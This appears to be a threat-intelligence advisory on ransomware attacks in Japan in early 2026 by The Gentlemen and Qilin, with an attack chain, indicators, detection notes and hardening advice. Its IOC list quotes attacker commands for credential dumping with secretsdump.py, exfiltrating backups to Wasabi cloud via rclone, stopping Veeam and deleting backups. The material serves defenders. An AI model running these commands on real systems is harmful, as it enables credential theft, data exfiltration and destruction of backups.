Ransomware incidents in Japan in the first half of 2026: Investigation of The Gentlemen’s infrastructure and evidence of Qilin's AI use

Immediate Actions

Key Takeaways

• The Gentlemen leak site listings grew from 48 in January to 105 in July 2026.
• Russian keyboard layout artifacts in .bash_history suggest Russian-speaking operators for The Gentlemen.
• Qilin uses LLM-generated Python scripts with structured step-by-step comments and documentation-style headers.
• Attackers exfiltrate VHDX backups compressed with zstd to Wasabi cloud storage via rclone.
• Organizations with capital under JPY 1 billion accounted for 78% of ransomware victims.

Attack Chain

1. Initial Access: VPN exploitation and tunneling via Chisel and Ligolo-ng into internal networks
2. Reconnaissance: Masscan and Nmap scan external services; NetExec enumerates SMB and AD
3. Exploitation: SQL injection (CVE-2025-24799) in GLPI; Zerologon and MS17-010 exploitation
4. Credential Access: Mount backup shares, extract ntds.dit and SAM via secretsdump.py
5. Exfiltration: Compress VHDX with zstd, exfiltrate to Wasabi cloud via rclone
6. Impact: Deploy ransomware; Qilin destroys Veeam backups and deploys wiper via GPO

Affected Systems

• Windows environments in Active Directory domains
• ESXi hypervisor environments
• GLPI installations vulnerable to CVE-2025-24799
• Veeam backup infrastructure
• VPN appliances and remote access services
• Network devices with exposed management interfaces

Vulnerabilities (CVEs)

Detection Availability

• Published: Snort/Suricata
• Platforms: Snort 2 (SID 67111), Snort 3 (SID 29)

Snort rules SIDs 67111 and 29 detect and block this threat.

Detection Engineering Assessment

Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.

Hunting Hypotheses

Required Log Sources

• Process execution logs
• Network connection logs
• SMB share access logs
• PowerShell script block logs
• DNS query logs
• VPN authentication logs

Key Behavioral Indicators

• rclone uploading large files to Wasabi cloud storage endpoints
• secretsdump.py or impacket executing from non-standard paths
• Veeam services stopped followed by vssadmin shadow deletion
• PowerShell creating GPO objects from temp directories
• Chisel or Ligolo-ng tunneling processes on endpoints
• AdaptixC2 beacon binaries communicating over HTTP/S or DNS

Control Gaps

• Network DLP may not detect rclone exfiltration to Wasabi
• Signature-based AV may miss AI-generated Python scripts
• VPN MFA gaps enable stolen credential abuse
• Unpatched GLPI instances remain exploitable

False Positive Assessment

Recommendations

Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.

Infrastructure Hardening

• Restrict VPN and management interface access by source IP
• Inventory and disable unused internet-facing services
• Segment networks to limit lateral movement from compromised VPN access
• Apply patches for CVE-2020-1472 and MS17-010 on all Windows servers

User Protection

• Deploy EDR to detect AdaptixC2 beacons and impacket execution
• Separate administrative accounts from routine work accounts
• Review and disable inactive accounts and shared credentials
• Monitor logins from unusual locations or times

Security Awareness

• Review third-party vendor access with time-limited, least-privilege permissions
• Ensure subsidiaries follow headquarters security standards for patching

MITRE ATT&CK Mapping

Plain-Language Summary

Ransomware attacks in Japan increased slightly in early 2026, with The Gentlemen group causing the most incidents. They primarily target small and medium-sized businesses, especially in manufacturing. The Gentlemen uses freely available hacking tools and a command-and-control framework called AdaptixC2. Another group, Qilin, appears to use artificial intelligence to write malicious scripts that destroy backup software and deploy ransomware across networks. Organizations should patch internet-facing systems, require multi-factor authentication, and monitor for suspicious remote access and backup disabling.

Additional IOCs

• File Paths:
  • \\SYSVOL\iso-ath-hq\scripts\hcr.cmd - Wiper payload staged to SYSVOL share by Qilin
  • \\SYSVOL\iso-ath-hq\scripts\deploy_hc.cmd - Startup script staged to SYSVOL by Qilin
  • ADMIN$\Temp\hcr_gpo.ps1 - PowerShell GPO creation script deployed by Qilin
  • ADMIN$\Temp\vk_wipe.cmd - Veeam destruction batch script deployed by Qilin
  • C:\Windows\Temp\vk_status.txt - Backup destruction status marker file created by wiper
• Command Lines:
  • Purpose: Mass scanning for exposed web services and VPN ports | Tools: masscan | Stage: Reconnaissance | masscan -p443,8443,10443 --rate=<rate> -iL <IP>
  • Purpose: Service and OS fingerprinting on target hosts | Tools: nmap | Stage: Reconnaissance | nmap -sC -sV -O -Pn -T4 -sT -p- <Target>
  • Purpose: Enumerate SMB shares and AD computer information | Tools: nxc, NetExec | Stage: Discovery | nxc smb <Target> --shares
  • Purpose: Extract credentials from ntds.dit and SAM files | Tools: secretsdump.py, impacket | Stage: Credential Access | secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
  • Purpose: Exfiltrate compressed VHDX to Wasabi cloud storage | Tools: rclone | Stage: Exfiltration | rclone copy <VHDX> wsb:dtloc/ --s3-upload-concurrency 16
  • Purpose: Remove credential dumps and tools from attacker server | Tools: rm | Stage: Defense Evasion | rm -rf SAM SYSTEM ntds.txt
  • Purpose: Deploy wiper via GPO PowerShell script on domain controller | Tools: powershell.exe, cmd.exe | Stage: Execution
  • Purpose: Stop Veeam backup services prior to data destruction | Tools: net | Stage: Impact | net stop VeeamBackupSvc /y
  • Purpose: Delete Veeam backup data and volume shadow copies | Tools: rd, vssadmin | Stage: Impact | rd /s /q V:\Backup